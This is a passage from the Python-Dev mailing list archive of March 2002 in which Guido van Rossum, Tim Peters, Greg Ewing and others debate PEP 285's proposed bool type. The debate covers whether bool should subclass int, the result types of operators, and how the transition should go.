--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Sun Mar 10 23:13:14 2002
From: skip@pobox.com (Skip Montanaro)
Date: Sun, 10 Mar 2002 17:13:14 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
In-Reply-To: <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
References: <200203101657.g2AGvuC32145@12-248-41-177.client.attbi.com>
 <200203102300.g2AN0hL30256@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15499.59530.569701.7561@12-248-41-177.client.attbi.com>

    Guido> Some of the "new" bugs aren't new.  In fact, most aren't.  Sample
    Guido> ...

Thanks for pointing out the problem.  I'll check it out.

Skip




From pedroni@inf.ethz.ch  Sun Mar 10 23:06:03 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 00:06:03 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org>
Message-ID: <030501c1c888$277a04a0$6d94fea9@newmexico>

From: Ka-Ping Yee <ping@lfw.org>
> Will people waste time on silly arguments about "thou shalt change
> thy code to the One True/False Style, because it is the Proper Way"
> vs. "but 0/1 works and it's less typing and i don't want to bother"?
> Will programmers expend a bunch of effort editing their code to
> work the new way -- effort that could have been better spent fixing
> and improving their programs?  (Instantiate the preceding question
> with programmers := Python-developers and programs := Python
> standard library.)

Although it was not said so explicitly, my design exercise
related to Jython shows that probably a lot of Jython user code
will still preserve many:

jbean.beanProp = 1

where 1 would be better written as True.

regards.






From pedroni@inf.ethz.ch  Sun Mar 10 23:23:02 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 00:23:02 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org> <030501c1c888$277a04a0$6d94fea9@newmexico>
Message-ID: <034101c1c88a$86576100$6d94fea9@newmexico>

Oops, silly me!

From: Samuele Pedroni <pedroni@inf.ethz.ch>
> Although it was not said so explicitly, my design exercise
> related to Jython shows that probably a lot of Jython user code
> will still preserve many:
> 
> jbean.beanProp = 1
> 
> where 1 would be better written as True.
> 

Obvisiouly the same problem exists for the flags in
the all pre-exiting Python code, and all the
  = 0
  = 1
there. And it seems Guido does not care about that.

regards.



From greg@cosc.canterbury.ac.nz  Mon Mar 11 00:10:43 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 13:10:43 +1300 (NZDT)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <15497.693.681383.958048@beluga.mojam.com>
Message-ID: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>

Skip Montanaro <skip@pobox.com>:

> Guido's proposal is for bool to be a
> subclass of int.  Consequently, 28 + True should yield 29

But True - 1 won't equal False. Should it?

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Mon Mar 11 00:22:04 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 13:22:04 +1300 (NZDT)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <HFEKILOLEFEFMKAECNDLMEABDIAA.jason@jorendorff.com>
Message-ID: <200203110022.NAA26142@s454.cosc.canterbury.ac.nz>

>   C99:        true    false
>   C++:        true    false
>   C#:         true    false
>   Java:       true    false
>   JavaScript: true    false
> 
> (I can't find other case-sensitive languages with boolean types
> to compare.)

    Modula-2:   TRUE    FALSE

:-)

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From pedroni@inf.ethz.ch  Mon Mar 11 00:15:17 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 01:15:17 +0100
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>
Message-ID: <039b01c1c891$d2f88500$6d94fea9@newmexico>



> Skip Montanaro <skip@pobox.com>:
> 
> > Guido's proposal is for bool to be a
> > subclass of int.  Consequently, 28 + True should yield 29
> 
> But True - 1 won't equal False. Should it?
> 

No. 

regards.



From guido@python.org  Mon Mar 11 00:38:50 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 19:38:50 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: Your message of "Mon, 11 Mar 2002 13:10:43 +1300."
 <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>
References: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>
Message-ID: <200203110038.g2B0con30691@pcp742651pcs.reston01.va.comcast.net>

> But True - 1 won't equal False. Should it?

No.  My logic for deciding the type of "x <op> y" (and for "<op> x")
is based exclusively on the types of x and y.  For a given <op>, the
type of "x <op> y" should be derived from the types of x and y and the
properties of <op>.  The values of x and y don't enter into it (except
implicitly, insofar as their type limits the possible values).  Thus,
x&y, x|y, and x^y yield a bool when both x and y are bools, because
they yield bool values whenever the arguments are both bools; but x+y
is an int, even when both x and y are bools and the outcome is 0 or 1
(representable as a bool): this is because there's also a case
(True+True) where the outcome (2) is not representable as a bool.

The only exception is +x: this returns an int result for a bool
argument.  That's a matter of taste -- the unary + screams "number" to
me.  I could be convinced that it should return x unchanged.  But in
any case the type of the result still only depends on the *type* of
the argument.

This is a very general rule that I like a lot: that the type of a
result should only depend on the type of the arguments, not on their
values.  I expect that this rule will make reasoning about programs
(as in PsyCo or PyChecker) easier to do.

I recently caved in and allowed an exception: 2**2 returns an int, but
2**-2 returns a float.  This was a case of "practicality beats
purity".  I don't see True-1 in the same league though.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From David Abrahams" <david.abrahams@rcn.com  Mon Mar 11 01:07:38 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sun, 10 Mar 2002 20:07:38 -0500
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de> <3C8BD042.CB03BDAB@prescod.net>
Message-ID: <001a01c1c899$23069530$0202a8c0@boostconsulting.com>

----- Original Message ----- 
From: "Paul Prescod" <paul@prescod.net>

> Let's take this logic a little further. If you're arguing that booleans
> should be subtypes of integers because integers can be used in a boolean
> context then I guess booleans should ALSO be subtypes of strings and
> lists because strings and lists can also be used in a boolean fashion.
> 
> Using an integer as a boolean is common. I do it almost every day I
> program in languages with both types. Using a boolean as an integer is
> not common in my programming (though Tim's may be different). Where it
> crops up in my programming it is probably an error where I passed the
> parameters to the function in the wrong order.

+1!




From greg@cosc.canterbury.ac.nz  Mon Mar 11 01:09:57 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 14:09:57 +1300 (NZDT)
Subject: [Python-Dev] Boolean transition
In-Reply-To: <m31yet8iu0.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203110109.OAA26148@s454.cosc.canterbury.ac.nz>

martin@v.loewis.de (Martin v. Loewis):

> "David Abrahams" <david.abrahams@rcn.com> writes:
> 
> > This rubs my expectations the right way. Does it foreshadow the
> > introduction of boolean operators (e.g. &, |, &&, ||)?
> 
> I hope not. "and", "or" is boolean enough, for me. No more line noise
> is needed.

We certainly don't need '&&' and '||' -- we already have them,
they're called 'and' and 'or'.

But if booleans are to become a separate type eventually,
I think that '&' and '|' should perform the standard
(non-shortcircuiting) boolean algebra operations on them.

In fact, that could be added now to the reference
implementation in the PEP -- I don't think it would
introduce any extra breakage.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From tim.one@comcast.net  Mon Mar 11 01:17:51 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 20:17:51 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <200203110109.OAA26148@s454.cosc.canterbury.ac.nz>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEEFODAA.tim.one@comcast.net>

[Greg Ewing]
> We certainly don't need '&&' and '||' -- we already have them,
> they're called 'and' and 'or'.

They're not the same to David:  C && and || return 0 or 1, not sometimes
their LHS or RHS argument.

> But if booleans are to become a separate type eventually,
> I think that '&' and '|' should perform the standard
> (non-shortcircuiting) boolean algebra operations on them.
>
> In fact, that could be added now to the reference
> implementation in the PEP -- I don't think it would
> introduce any extra breakage.

That's already in the reference implementation, along with xor too.



From tim.one@comcast.net  Mon Mar 11 01:19:00 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 20:19:00 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <02ac01c1c878$342d4fa0$6d94fea9@newmexico>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEEGODAA.tim.one@comcast.net>

[Samuele Pedroni]
> ...
> If *I* was about to separate bool from int
> (but for that I would need to be conviced about the errors
> I'm going to avoid with that),
> both int(False) and int(True) would fail - I mean - their result
> is as much intuitive as summing booleans directly <wink>.
> ...
> So I would introduce a specific built-in
> for that conversion (maybe chi() <wink>).

That's the function operator.truth() serves -- or would have, if Guido
hadn't broken it <wink>.



From guido@python.org  Mon Mar 11 01:21:35 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 20:21:35 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: Your message of "Sun, 10 Mar 2002 13:29:38 PST."
 <3C8BD042.CB03BDAB@prescod.net>
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>
 <3C8BD042.CB03BDAB@prescod.net>
Message-ID: <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net>

[PP]
> If you're arguing that booleans should be subtypes of integers
> because integers can be used in a boolean context then I guess
> booleans should ALSO be subtypes of strings and lists because
> strings and lists can also be used in a boolean fashion.

I don't know about others, but *my* arguments for making bool a
subtype of int has *nothing* to do with the fact that ints can be used
in a bool context.  (That would be reversing the inheritance, as you
point out.)  It is rather the opposite: bool values gotten from
certain operations (e.g. comparisons, and most built-in predicate
functions) are commonly used in int contexts, because they are
currently represented by 0 and 1.  So the constraint under which we're
operating is that bool values must be ints.  This constraint has only
two possible solutions: (a) continue to use int as the type of choice
for bool results, and define builtins False = 0 and True = 1; or (b)
make bool a subtype of int.

I do not want to say that in the future only bool is acceptable in a
Boolean context; it would remove too many of my favorite ways of
expression things clearly with few words.  That's my final word on
this particular subissue.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Mon Mar 11 01:22:21 2002
From: guido@python.org (Guido van Rossum)
Date: Sun, 10 Mar 2002 20:22:21 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: Your message of "Mon, 11 Mar 2002 14:09:57 +1300."
 <200203110109.OAA26148@s454.cosc.canterbury.ac.nz>
References: <200203110109.OAA26148@s454.cosc.canterbury.ac.nz>
Message-ID: <200203110122.g2B1MLH31578@pcp742651pcs.reston01.va.comcast.net>

> But if booleans are to become a separate type eventually,
> I think that '&' and '|' should perform the standard
> (non-shortcircuiting) boolean algebra operations on them.
> 
> In fact, that could be added now to the reference
> implementation in the PEP -- I don't think it would
> introduce any extra breakage.

The PEP already does this.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From greg@cosc.canterbury.ac.nz  Mon Mar 11 01:28:54 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 14:28:54 +1300 (NZDT)
Subject: [Python-Dev] Boolean transition
In-Reply-To: <LNBBLJKPBEHFEDALKOLCGEAPODAA.tim.one@comcast.net>
Message-ID: <200203110128.OAA26152@s454.cosc.canterbury.ac.nz>

Tim Peters <tim.one@comcast.net>:

> There's nothing reprehensible about, e.g.,
> 
>     days_in_year = 365 + is_leap(year)

This is bug-prone, because it relies on is_leap always
returning a "normalised" boolean value. I don't think
it would be a bad thing if you had to write it

  days_in_year = 365 + ord(is_leap(year))

or, even better,

  days_in_year = 365 + bit(is_leap(year))

where bit() is a function that takes a boolean (and only
a boolean) and returns 0 or 1.

>    print [("off", "on")[switch] for switch in switch_list]

No, no, what you really mean is

  print [{False:"off", True:"on"}[switch] for switch in switch_list]

or perhaps

  print ["on" if switch else "off" for switch in switch_list]

and similarly

  days_in_year = 365 + 1 if is_leap(year) else 0

(Yes, I know that one's already been rejected. I can't stop
liking it, though...)

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Mon Mar 11 01:31:19 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 14:31:19 +1300 (NZDT)
Subject: [Python-Dev] Boolean transition
In-Reply-To: <LNBBLJKPBEHFEDALKOLCOEAPODAA.tim.one@comcast.net>
Message-ID: <200203110131.OAA26155@s454.cosc.canterbury.ac.nz>

Tim Peters <tim.one@comcast.net>:

> Guido's PEP already specifies that bools
> overload them to map bool X bool -> bool.

So it does! Guido must have made a short hop with
the time machine.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From greg@cosc.canterbury.ac.nz  Mon Mar 11 01:34:11 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 14:34:11 +1300 (NZDT)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <m3it86iqm8.fsf@mira.informatik.hu-berlin.de>
Message-ID: <200203110134.OAA26158@s454.cosc.canterbury.ac.nz>

martin@v.loewis.de (Martin v. Loewis):

> > But all other built-in constants have an initial capital letter: None,
> > NotImplemented, Ellipsis, ...
> 
> Those you bring up are conceptually "objects", in the sense that you
> want to be aware of identity, whereas true and false are conceptually
> "values", in the sense that you never care about their identity, only
> about their state.

But the PEP explicitly defines them as singletons, so that you
*can* rely on identity if you want. On that basis, they should
have capital-letter names.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From tim.one@comcast.net  Mon Mar 11 01:42:24 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 20:42:24 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <200203110128.OAA26152@s454.cosc.canterbury.ac.nz>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEEIODAA.tim.one@comcast.net>

>>     days_in_year = 365 + is_leap(year)

[Greg Ewing]
> This is bug-prone, because it relies on is_leap always
> returning a "normalised" boolean value.

In more than 20 years of writing code exactly like that, I guess it's a
miracle I've never had a bug due to it <wink>.

> I don't think it would be a bad thing if you had to write it
>
>   days_in_year = 365 + ord(is_leap(year))
>
> or, even better,
>
>   days_in_year = 365 + bit(is_leap(year))
>
> where bit() is a function that takes a boolean (and only
> a boolean) and returns 0 or 1.

Bleech.  It's much more sensible to ensure that the is_leap() implementation
*on its own* fulfills its contract.  Then you can simply trust it.
Whichever function is computing days_in_year may well want to assert that
the result *it* computes 365 or 366, but it's got no business questioning
the functions it relies on.

> ...
> and similarly
>
>   days_in_year = 365 + 1 if is_leap(year) else 0
>
> (Yes, I know that one's already been rejected. I can't stop
> liking it, though...)

Heh.  I immediately read that as

    days_in_year = (365 + 1) if is_leap(year) else 0

I'm old enough to wish reality played along <wink>.



From paul@prescod.net  Mon Mar 11 01:51:44 2002
From: paul@prescod.net (Paul Prescod)
Date: Sun, 10 Mar 2002 17:51:44 -0800
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>
 <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3C8C0DB0.F513D5A9@prescod.net>

Guido van Rossum wrote:
> 
>...
> 
> I don't know about others, but *my* arguments for making bool a
> subtype of int has *nothing* to do with the fact that ints can be used
> in a bool context.  (That would be reversing the inheritance, as you
> point out.)  It is rather the opposite: bool values gotten from
> certain operations (e.g. comparisons, and most built-in predicate
> functions) are commonly used in int contexts, because they are
> currently represented by 0 and 1.  So the constraint under which we're
> operating is that bool values must be ints.  This constraint has only
> two possible solutions: (a) continue to use int as the type of choice
> for bool results, and define builtins False = 0 and True = 1; or (b)
> make bool a subtype of int.

Agree 100%. The question is whether five years or ten years or twenty
years from now booleans will still be a subtype of integers. We have
deprecation techniques that allow us to start a transition to a world
where logic and integer arithmetic are completely separate.

> I do not want to say that in the future only bool is acceptable in a
> Boolean context; it would remove too many of my favorite ways of
> expression things clearly with few words. 

I agree with this too. The question is whether Python 3000 will still
allow this without error:

def foo(int_size, b_metric_unit):
  if b_metric_unit:
	return int_size * 10

foo(false, 10)

I would say that one day (not tomorrow!) the multiplication of a boolean
should raise an assertion as nonsensical.

 Paul Prescod


From David Abrahams" <david.abrahams@rcn.com  Mon Mar 11 02:01:33 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sun, 10 Mar 2002 21:01:33 -0500
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
References: <200203110010.NAA26137@s454.cosc.canterbury.ac.nz>  <200203110038.g2B0con30691@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <006701c1c8a0$ab1b2510$0202a8c0@boostconsulting.com>

This pretty much mirrors the compromise taken in C++. However, most C++
users end up regretting the liberal implicit convertibility among the
numeric types. The latest abomination: if you want to make a new type which
can be tested in a context which demands a bool (e.g. "if (x) {...}"), what
you do is make a private dummy nested class type and give the outer type a
conversion to a pointer-to-member-function of the inner type. This allows
the expected boolean tests but prevents the object from being used in
contexts which expect actual numbers**. This ugly hack is, regrettably, "the
right thing to do" in the face of the promiscuous rules for numeric types.

-Dave

**If you're thinking, "we already have a safe way to allow new types to be
tested as booleans in Python", then you're missing the point.

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>
To: "Greg Ewing" <greg@cosc.canterbury.ac.nz>
Cc: <python-dev@python.org>
Sent: Sunday, March 10, 2002 7:38 PM
Subject: Re: [Python-Dev] For review: PEP 285: Adding a bool type


> > But True - 1 won't equal False. Should it?
>
> No.  My logic for deciding the type of "x <op> y" (and for "<op> x")
> is based exclusively on the types of x and y.  For a given <op>, the
> type of "x <op> y" should be derived from the types of x and y and the
> properties of <op>.  The values of x and y don't enter into it (except
> implicitly, insofar as their type limits the possible values).  Thus,
> x&y, x|y, and x^y yield a bool when both x and y are bools, because
> they yield bool values whenever the arguments are both bools; but x+y
> is an int, even when both x and y are bools and the outcome is 0 or 1
> (representable as a bool): this is because there's also a case
> (True+True) where the outcome (2) is not representable as a bool.
>
> The only exception is +x: this returns an int result for a bool
> argument.  That's a matter of taste -- the unary + screams "number" to
> me.  I could be convinced that it should return x unchanged.  But in
> any case the type of the result still only depends on the *type* of
> the argument.
>
> This is a very general rule that I like a lot: that the type of a
> result should only depend on the type of the arguments, not on their
> values.  I expect that this rule will make reasoning about programs
> (as in PsyCo or PyChecker) easier to do.
>
> I recently caved in and allowed an exception: 2**2 returns an int, but
> 2**-2 returns a float.  This was a case of "practicality beats
> purity".  I don't see True-1 in the same league though.
>
> --Guido van Rossum (home page: http://www.python.org/~guido/)
>
> _______________________________________________
> Python-Dev mailing list
> Python-Dev@python.org
> http://mail.python.org/mailman/listinfo/python-dev
>




From pedroni@inf.ethz.ch  Mon Mar 11 02:09:22 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 03:09:22 +0100
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>              <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net> <3C8C0DB0.F513D5A9@prescod.net>
Message-ID: <047c01c1c8a1$c35b1260$6d94fea9@newmexico>

From: Paul Prescod <paul@prescod.net>
> Guido van Rossum wrote:
> >  So the constraint under which we're
> > operating is that bool values must be ints.  This constraint has only
> > two possible solutions: (a) continue to use int as the type of choice
> > for bool results, and define builtins False = 0 and True = 1; or (b)
> > make bool a subtype of int.
> 
> Agree 100%. The question is whether five years or ten years or twenty
> years from now booleans will still be a subtype of integers. We have
> deprecation techniques that allow us to start a transition to a world
> where logic and integer arithmetic are completely separate.
> 
> > I do not want to say that in the future only bool is acceptable in a
> > Boolean context; it would remove too many of my favorite ways of
> > expression things clearly with few words. 
> 
> I agree with this too. The question is whether Python 3000 will still
> allow this without error:
> 
> def foo(int_size, b_metric_unit):
>   if b_metric_unit:
> return int_size * 10
> 
> foo(false, 10)
> 

But as long as in Python 3000:
if 0: ...  and if 1: ... work
then someone can still hang himself calling it so:

foo(0,10)

Maybe it is just FUD, but the question
whether people will adopt the change
and apply it to old code is central.
That means it *should* be asked, then
you can answer FUD, but just then.

Personally I would write such a function as:

def foo(size,is_metric):
    if is_metric:
      return  size*10
    else:
     ...

and if I fear to mess up with order I would
call it with:

foo(10,is_metric=False)
or foo(10,is_metric=0)

If you're really serious about argument order
then you need static typing and that does not save
you always either.

regards, Samuele Pedroni.











From greg@cosc.canterbury.ac.nz  Mon Mar 11 02:31:32 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 15:31:32 +1300 (NZDT)
Subject: [Python-Dev] Boolean transition
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEDCODAA.tim.one@comcast.net>
Message-ID: <200203110231.PAA26171@s454.cosc.canterbury.ac.nz>

Tim Peters <tim.one@comcast.net>:

> For example, see "Concrete Mathematics" (Knuth, Graham and
> Patashnik), where treating a true/false result as 1/0 is so common
> it's indicated merely by surrounding a predicate expression with
> plain square brackets.

The fact that they use a notation for that at all suggests
that even they didn't go so far as to regard booleans as
*identical* to integers.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From pedroni@inf.ethz.ch  Mon Mar 11 02:27:49 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 03:27:49 +0100
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>              <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net> <3C8C0DB0.F513D5A9@prescod.net> <047c01c1c8a1$c35b1260$6d94fea9@newmexico>
Message-ID: <04a001c1c8a4$56d3d700$6d94fea9@newmexico>


From: Samuele Pedroni <pedroni@inf.ethz.ch>
> 
> But as long as in Python 3000:
> if 0: ...  and if 1: ... work
> then someone can still hang himself calling it so:
> 
> foo(0,10)
> 
> Maybe it is just FUD, but the question
> whether people will adopt the change
> and apply it to old code is central.
> That means it *should* be asked, then
> you can answer FUD, but just then.
> 

That means - restated - that the only way
to take seriously and to make Paul Prescod's point 
effective is to deprecate:
 
 if <number>: ... etc

Already issuing warnings with 2.3,
because - here - the sooner the better <wink>,
or keep things more or less as they are
(Guido proposals).

Obviously we will still be able to
use lists/strings etc
in Boolean context but not 
numbers just bools.

regards.





From greg@cosc.canterbury.ac.nz  Mon Mar 11 02:44:21 2002
From: greg@cosc.canterbury.ac.nz (Greg Ewing)
Date: Mon, 11 Mar 2002 15:44:21 +1300 (NZDT)
Subject: [Python-Dev] For review: PEP 285: Adding a bool type
In-Reply-To: <Pine.LNX.4.33.0203101512350.12420-100000@server1.lfw.org>
Message-ID: <200203110244.PAA26175@s454.cosc.canterbury.ac.nz>

Ka-Ping Yee <ping@lfw.org>:

> But in the new scheme, there is a "blessed" Boolean type.  Does this
> make the other kinds of true and false less legitimate?

No, in the sense that they will still work in boolean
contexts. Yes, in the sense that there will now be a
"real" boolean type, which is perhaps best thought of
as the *only* boolean type, with other values being
converted to booleans in certain contexts.

> If not, then when is it more correct
> to use Boolean values?

When what you're representing is purely a boolean
and nothing else. Just ask yourself "If I were writing
this in Pascal (or some other language with a strong
boolean type) would I declare it as a boolean?"
The answer to that should be pretty clear in most
cases.

Greg Ewing, Computer Science Dept, +--------------------------------------+
University of Canterbury,	   | A citizen of NewZealandCorp, a	  |
Christchurch, New Zealand	   | wholly-owned subsidiary of USA Inc.  |
greg@cosc.canterbury.ac.nz	   +--------------------------------------+


From pedroni@inf.ethz.ch  Mon Mar 11 02:38:58 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Mon, 11 Mar 2002 03:38:58 +0100
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>              <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net> <3C8C0DB0.F513D5A9@prescod.net> <047c01c1c8a1$c35b1260$6d94fea9@newmexico> <04a001c1c8a4$56d3d700$6d94fea9@newmexico>
Message-ID: <04bc01c1c8a5$e5f0b100$6d94fea9@newmexico>

From: Samuele Pedroni <pedroni@inf.ethz.ch>
>  
>  if <number>: ... etc
> 

Which correspond to the idioms:

if counter: ...

if flag: ... 
# which ideally should change even with the proposal
# to have type(flag) is bool

if bit:
if bits&bitmasks: ...

etc.

regards.



From David Abrahams" <david.abrahams@rcn.com  Mon Mar 11 02:54:28 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sun, 10 Mar 2002 21:54:28 -0500
Subject: [Python-Dev] Boolean transition
References: <LNBBLJKPBEHFEDALKOLCOEEFODAA.tim.one@comcast.net>
Message-ID: <008501c1c8a8$0fa3d2a0$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Tim Peters" <tim.one@comcast.net>
To: <python-dev@python.org>
Sent: Sunday, March 10, 2002 8:17 PM
Subject: RE: [Python-Dev] Boolean transition


> [Greg Ewing]
> > We certainly don't need '&&' and '||' -- we already have them,
> > they're called 'and' and 'or'.
>
> They're not the same to David:  C && and || return 0 or 1, not sometimes
> their LHS or RHS argument.

Actually, I'm a C++ guy: && and || return false or true.
I think 'C99' also got some kind of _Bool type, but I don't know how it
acts.




From paul@prescod.net  Mon Mar 11 03:06:15 2002
From: paul@prescod.net (Paul Prescod)
Date: Sun, 10 Mar 2002 19:06:15 -0800
Subject: [Python-Dev] Boolean transition
References: <3C8A876D.2EAD2D@prescod.net> <m3u1rp8j58.fsf@mira.informatik.hu-berlin.de>              <3C8BD042.CB03BDAB@prescod.net> <200203110121.g2B1LZI31560@pcp742651pcs.reston01.va.comcast.net> <3C8C0DB0.F513D5A9@prescod.net> <047c01c1c8a1$c35b1260$6d94fea9@newmexico>
Message-ID: <3C8C1F27.2060136@prescod.net>

Samuele Pedroni wrote:
> 
>...
> 
> But as long as in Python 3000:
> if 0: ...  and if 1: ... work
> then someone can still hang himself calling it so:
> 
> foo(0,10)

I'm not trying to prevent every possible typo. It isn't possible. The
main reason to separate booleans and integers is merely that they are
seperate concepts in Real Life in the same way that integers and floats
are part of the same hierarchy in Real Life. To me, the whole goal of
the PEP is to bring Python closer to real life where the answer to the
question "is the door open" is neither an integer nor a subtype of
integer. Catching errors is also a benefit of separating any two types.
That doesn't mean that we have to go crazy and make int(false) raise an
exception or if 5 raise an exception etc. I don't buy an argument of the
form: "if you want to get any of the benefit you must go the whole way."
I can go a little way and get a little benefit. The PEP already goes a
little bit of the way towards separating bool and integer and I don't
think that implies we must go the whole way.

 Paul Prescod


From tim.one@comcast.net  Mon Mar 11 03:56:02 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 22:56:02 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <008501c1c8a8$0fa3d2a0$0202a8c0@boostconsulting.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEENODAA.tim.one@comcast.net>

[David Abrahams]
> Actually, I'm a C++ guy: && and || return false or true.
> I think 'C99' also got some kind of _Bool type, but I don't know how it
> acts.

#define bool _Bool
#define false 0
#define true 1
#define __bool_true_false_are_defined 1

are in <stdbool.h>.  _Bool is an unsigned integral type, subject to the
usual promotions.  Just about the only twist beyond that is that conversion
of a scalar s to _Bool yields 1 if and only if s != 0.  So, e.g.,

    bool b = 0.16; /* sets b to 1 */

&& and || haven't changed (return int 0 or int 1).



From tim.one@comcast.net  Mon Mar 11 03:58:38 2002
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 10 Mar 2002 22:58:38 -0500
Subject: [Python-Dev] Boolean transition
In-Reply-To: <200203110231.PAA26171@s454.cosc.canterbury.ac.nz>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEEOODAA.tim.one@comcast.net>

[Greg Ewing]
